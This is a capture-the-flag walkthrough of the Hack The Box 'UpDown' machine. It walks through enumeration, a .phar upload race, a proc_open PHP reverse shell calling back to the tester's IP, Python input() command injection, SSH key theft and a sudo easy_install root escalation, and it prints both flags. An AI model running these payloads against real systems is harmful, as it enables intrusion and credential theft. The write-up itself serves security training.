Nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 19:32 +08
Nmap scan report for 10.10.11.177
Host is up (0.25s latency).
Not shown: 63224 closed tcp ports (conn-refused), 2309 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
| 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Only 2 ports are open.
Browsing
We see a domain name
siteisup.htb
so let’s just add that to /etc/hosts.
Tried
siteisup.htb
and others on the form but it doesn’t accept input without http:// and detects them as hacking attempts.
http://siteisup.htb
produces an is up.
Additionally, with debug mode on, it seems to display the output of a curl command.
Dirbust http://10.10.11.177
Running: feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.177 -t 50 -o feroxbuster-directory-list-2.3-medium.txt-http101011177
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.11.177
π Threads β 50
π Wordlist β /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Extract Links β true
πΎ Output File β feroxbuster-directory-list-2.3-medium.txt-http101011177
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 320l 675w 5531c http://10.10.11.177/stylesheet.css
200 GET 40l 93w 1131c http://10.10.11.177/
301 GET 9l 28w 310c http://10.10.11.177/dev => http://10.10.11.177/dev/
[####################] - 20m 441095/441095 0s found:3 errors:609
[####################] - 20m 220545/220545 182/s http://10.10.11.177/
[####################] - 20m 220545/220545 182/s http://10.10.11.177/dev/
Directory busting indicates that there might be something in /dev
.
/dev
We see that it’s blank and there are no errors.
Subdomain FUZZ.siteisup.htb
ffuf -u http://siteisup.htb -ac -H "HOST: FUZZ.siteisup.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://siteisup.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.siteisup.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
dev [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 5168ms]
:: Progress: [114441/114441] :: Job [1/1] :: 165 req/sec :: Duration: [0:12:15] :: Errors: 0 ::
Seems like there’s a dev
subdomain so we add it to /etc/hosts.
dev.siteisup.htb
forbidden
Directory busting
dev.siteisup.htb
returned nothing.
.git
http://siteisup.htb/dev/.git
Wordlists commonly used for dirbusting did not contain .git, hence, why
/.git
did not turn up. That is why it’s good to sometimes perform manual enumeration on directories.
git-dumper
https://github.com/arthaud/git-dumper
Using git-dumper
we can download the whole git repository.
% git-dumper http://siteisup.htb/dev/.git .
[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Testing http://siteisup.htb/dev/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://siteisup.htb/dev/.gitignore [404]
[-] http://siteisup.htb/dev/.gitignore responded with status code 404
[-] Fetching http://siteisup.htb/dev/.git/ [200]
[-] Fetching http://siteisup.htb/dev/.git/packed-refs [200]
[-] Fetching http://siteisup.htb/dev/.git/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/branches/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/ [200]
[-] Fetching http://siteisup.htb/dev/.git/config [200]
[-] Fetching http://siteisup.htb/dev/.git/description [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/ [200]
[-] Fetching http://siteisup.htb/dev/.git/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/index [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/tags/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/info/exclude [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/post-update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-push.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-receive.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.idx [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.pack [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/HEAD [200]
[-] Running git checkout .
Updated 6 paths from the index
git logs
% git log --oneline
010dcc3 (HEAD -> main, origin/main, origin/HEAD) Delete index.php
c8fcc40 Update checker.php
f67efd0 Create checker.php
ab9bc16 Update changelog.txt
60d2b32 Create admin.php
c1998f8 Add admin panel.
35a3801 Update changelog.txt
57af03b Create index.php
354fe06 Delete .htpasswd
8812785 New technique in header to protect our dev vhost.
bc4ba79 Update .htaccess
61e5cc0 Update index.php
3d66cd4 Create changelog.txt
4fb1927 Create stylesheet.css
6f89af7 Create index.php
8d1beb1 Create .htpasswd
6ddcc7a Create .htaccess
Looking at the git logs, we find some interesting changes.
Things to check:
- index.php
- checker.php
- admin.php
- .htpasswd
- new technique to protect dev vhost
- .htaccess
.htaccess
% cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
Seems like there’s a special header configuration so let’s try adding the following header in the HTTP request in burp:
Special-Dev: only4dev
With this, we managed to access
dev.siteisup.htb
but it’s not as interactive to do it in burp so we use a browser extension such as Modify Header Value
to browse the site normally.
dev.siteisup.htb
is noticeably different to the one we saw earlier. The noticeable differences are:
- admin panel link at the top
siteisup.htb (beta)
andchangelog.txt
at the bottom- the website checker now handles files instead of just URL input
dev.siteisup.htb beta site
test file
cat test
10.10.11.177
10.10.14.3
http://siteisup.htb
I created a test file containing the LHOST and RHOST IPs as well as a domain for the app to check.
It even checked the accidental newline when i
echo
-ed the data into the file.
Actually there was no newline in the file, however, I added a newline and it did check for it.
checker.php
There was a php file earlier in the git repository and we can review what the function does.
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}
The code in checker.php mentions it will download my file, read it and then delete it.
PHP Execution
Interestingly, it checks for file extensions but it seems that .phar is not restricted so I am going to try php execution with the usual phpinfo() command first to test it.
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
I created phpinfo.phar
and uploaded it in the form.
<?php phpinfo(); ?>
Based on the checker.php code, it creates a “random” directory using the hash of time and puts the file inside it. However, when I navigate to the directory, it’s empty.
As mentioned earlier, the code will read the file and immediately delete it.
So I decided to put a couple of domains below my php code to keep the checker busy while I access the uploaded file. This should delay the deletion a little bit since it will download the file first and then read it line by line before finally deleting it.
True enough, I got it busy judging by the loading animation beside the site title.
I can finally see my uploaded file.
Clicking on it gives me PHP execution.
http://dev.siteisup.htb/?page=phar://uploads/ea4bedf375179a6cfba92495ab4de195/info.123/info
https://github.com/ivan-sincek/php-reverse-shell Tried the usual reverse shell but it didn’t work.
dfunc-bypasser
After some searching, I realised that the PHP server may have some PHP functions disabled causing most reverse shells dependent on such functions to not work.
Looking at the phpinfo we have, seems like there’s a lot disabled functions.
I found this tool that reads the phpinfo and tells us which functions are not disabled. https://github.com/teambi0s/dfunc-bypasser
However, this tool was written 5 years ago in Python 2 which I do not like.
Luckily, I found a good samaritan who saw this and took it upon himself to convert the script to Python 3. https://www.linkedin.com/posts/edpd_github-rootsecdevdfunc-bypasser-this-activity-7205921767997997057-Hbpf
python3 ~/opt/tools/php-tools/dfunc-bypasser/dfunc-bypasser.py --file phpinfo.html | tee dfunc-bypasser
,---,
.' .' `\
,---.' \
| | .`\ |
: : | ' |
| ' ' ; :
' | ; . |
| | : | '
' : | / ;
| | '` ,/
; : .'
| ,.'
'---'
authors: __c3rb3ru5__, $_SpyD3r_$
Please add the following functions in your disable_functions option:
proc_open
If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket
it appears that proc_open is allowed. i tried googling proc_open reverse shell
and found that a lot of reverse shells use proc_open but they also use some other functions that have been disabled.
Reverse Shell
Turns out, it’s possible to just extract out a small part of the famous pentestmonkey php reverse shell and make a tiny change.
pentestmonkey php reverse shell
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.3/1234 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes);
?>
my shell.phar
With that, I start a nc listener on port 1234, run the manual exploit and I get a shell.
Upgrade Shell
Found another way to upgrade my shell that doesn’t involve python.
www-data@updown:/var/www$ script /dev/null -c bash
Script started, file is /dev/null
www-data@updown:/var/www$ ^Z
[1] + 3610070 suspended nc -lvnp 1234
[08:48] hans@parrot ~/Documents/HTB/UpDown/1-enum/1-external/2-web
% stty raw -echo; fg
[1] + 3610070 continued nc -lvnp 1234
www-data@updown:/var/www$ reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@updown:/var/www$
steps
script /dev/null -c bash
CTRL-Z
to suspend
stty raw -echo; fg
Enter reset
when it foregrounds back to the shell and then enter screen
when it requests for terminal type.
I can navigate to the home folder of user developer
but since I’m in a shell as www-data and due the permissions set, I cannot read most files.
www-data@updown:/home/developer$ cat user.txt
cat: user.txt: Permission denied
www-data@updown:/home/developer$ cd .ssh
bash: cd: .ssh: Permission denied
Home directory
I found a dev
folder within developer
’s home directory which is owned by developer
but also owned by the group www-data
which the user www-data
is in.
www-data@updown:/home/developer$ ls -al
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30 2022 .
drwxr-xr-x 3 root root 4096 Jun 22 2022 ..
lrwxrwxrwx 1 root root 9 Jul 27 2022 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 231 Jun 22 2022 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25 2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30 2022 .cache
drwxrwxr-x 3 developer developer 4096 Aug 1 2022 .local
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
drwx------ 2 developer developer 4096 Aug 2 2022 .ssh
drwxr-x--- 2 developer www-data 4096 Jun 22 2022 dev
-rw-r----- 1 root developer 33 Nov 12 23:03 user.txt
www-data@updown:/home/developer$ cd dev
www-data@updown:/home/developer/dev$ ls -al
total 32
drwxr-x--- 2 developer www-data 4096 Jun 22 2022 .
drwxr-xr-x 6 developer developer 4096 Aug 30 2022 ..
-rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py
www-data@updown:/home/developer/dev$ groups
www-data
/home/developer/dev
www-data@updown:/home/developer/dev$ file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped
www-data@updown:/home/developer/dev$ cat siteisup_test.py
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
Inside dev
directory, there are 2 files and that one of them has a sticky bit. The file
command indicates that it is a binary which I assume pertains to the python script of a similar name in the directory.
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:http://127.0.0.1
Traceback (most recent call last):
File "/home/developer/dev/siteisup_test.py", line 3, in <module>
url = input("Enter URL here:")
File "<string>", line 1
http://127.0.0.1
^
SyntaxError: invalid syntax
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:"http://127.0.0.1"
Website is up
When running the binary, it seems that I need to supply my own quotes for the URL I provide.
Looking at the python code, there is no input validation for the url
variable so we can try command injection.
Command Injection
I tried to inject import os; os.system("bash")
but to no avail.
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:import os; os.system("bash")
Traceback (most recent call last):
File "/home/developer/dev/siteisup_test.py", line 3, in <module>
url = input("Enter URL here:")
File "<string>", line 1
import os; os.system("bash")
^
SyntaxError: invalid syntax
I then found a nonstandard way of importing a module by using the built-in function to import os
dynamically and then running the system
function:
__import__('os').system('bash')
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__('os').system('bash')
developer@updown:/home/developer/dev$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
We are still not in the clear yet since the command injection we did earlier only ran bash
as the user developer but somehow, we are still in the www-data
group.
-rw-r----- 1 root developer 33 Nov 12 23:03 user.txt
The cheeky box creator ensured that we need to try harder to get the user flag.
Upgrade to SSH
Since we saw the .ssh
folder earlier, we can copy the private key, id_rsa
and use it to login via SSH.
authorized_keys
developer@updown:/home/developer/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCa8HjRNYzx67SfoU7OLFMDWlDf1KnBjKtgKMqsO2nyDkTTkQRwnD9LWqL08Wg2/OS3tTLf77rEN33m6AB225EvurMDTfFI2Sqe3YeCMoA86vpy0i8wOmHwl4EXYX1LLheu18I/vr5anObFPu628YPQ3UBjf4QZGk5vurn1fSlw9GchSfG7aw368heN8a+qIBijM4HkN5fytvZuSKLpLdDW0zVVQOhbtwJFucEyCWbYVcQlT2US/0/LYPgFq8W+hSq1PxoKiyusq9OkBCQ+u9+KhKG0imj3kZ/LHoGPYwonpC6GIkr47bNibTPa6OMJe4zdXglvQjVR36pr5C3FOw1BWlwi5y3TrFN9Vd4S09OFosjkqRcSXH5ODBHTrfePBGl/HV5WAsLHFiTkJqke67SeFSkgJTUVevq1Xa4TUshvlMmsIjHjv0SVtzUw+sYKSxBVXwR6wjuSTkDZKuc0zEt7ZyQixAdAfEhyK8IIjMHhH0Vs4p1IrJlMd5nOM/CdT4U= developer@siteisup
developer@updown:/home/developer/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCa8HjRNYzx67SfoU7OLFMDWlDf1KnBjKtgKMqsO2nyDkTTkQRwnD9LWqL08Wg2/OS3tTLf77rEN33m6AB225EvurMDTfFI2Sqe3YeCMoA86vpy0i8wOmHwl4EXYX1LLheu18I/vr5anObFPu628YPQ3UBjf4QZGk5vurn1fSlw9GchSfG7aw368heN8a+qIBijM4HkN5fytvZuSKLpLdDW0zVVQOhbtwJFucEyCWbYVcQlT2US/0/LYPgFq8W+hSq1PxoKiyusq9OkBCQ+u9+KhKG0imj3kZ/LHoGPYwonpC6GIkr47bNibTPa6OMJe4zdXglvQjVR36pr5C3FOw1BWlwi5y3TrFN9Vd4S09OFosjkqRcSXH5ODBHTrfePBGl/HV5WAsLHFiTkJqke67SeFSkgJTUVevq1Xa4TUshvlMmsIjHjv0SVtzUw+sYKSxBVXwR6wjuSTkDZKuc0zEt7ZyQixAdAfEhyK8IIjMHhH0Vs4p1IrJlMd5nOM/CdT4U= developer@siteisup
Just to confirm, we want to ensure that the public key is inside the authorized_keys
file.
I wanted to cat
the private key, copy it and then manually create it in my local but I remembered we were dealing with python and I might just be able to run a python http.server
within the target machine.
developer@updown:/home/developer/.ssh$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.14.3 - - [13/Nov/2024 03:22:26] "GET /id_rsa HTTP/1.1" 200 -
So I did.
wget http://10.10.11.177:8888/id_rsa !2021
--2024-11-13 11:22:27-- http://10.10.11.177:8888/id_rsa
Connecting to 10.10.11.177:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2602 (2.5K) [application/octet-stream]
Saving to: βid_rsaβ
id_rsa 100%[=====================================>] 2.54K --.-KB/s in 0s
2024-11-13 11:22:28 (206 MB/s) - βid_rsaβ saved [2602/2602]
Remember to change the permissions:
Connect via SSH
% ssh -i id_rsa [email protected]
The authenticity of host 'siteisup.htb (10.10.11.177)' can't be established.
ED25519 key fingerprint is SHA256:c0DzrPfIOA6IA7zGJh7Ee/FJ3B2g7R2KnzeUif9zCWQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'siteisup.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64)
...
[truncated]
...
developer@updown:~$
User Flag
developer@updown:~$ cat user.txt
514a363b07ddebe9d0b80c021872b17b
sudo -l
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
Saw that developer
can run /usr/local/bin/easy_install
as any user without password.
gtfobins
Simple google search of /usr/local/bin/easy_install exploit
gave me this:
https://gtfobins.github.io/gtfobins/easy_install/#sudo
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF
I ran the commands unchanged line-by-line:
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.x0oVIFPdGz
Writing /tmp/tmp.x0oVIFPdGz/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.x0oVIFPdGz/egg-dist-tmp-ZEBuRr
# id
uid=0(root) gid=0(root) groups=0(root)
And I get root.
root flag
# cat /root/root.txt
6049a69efdd60be0e47c546a04634ed0
One of the most simplest privescs ever.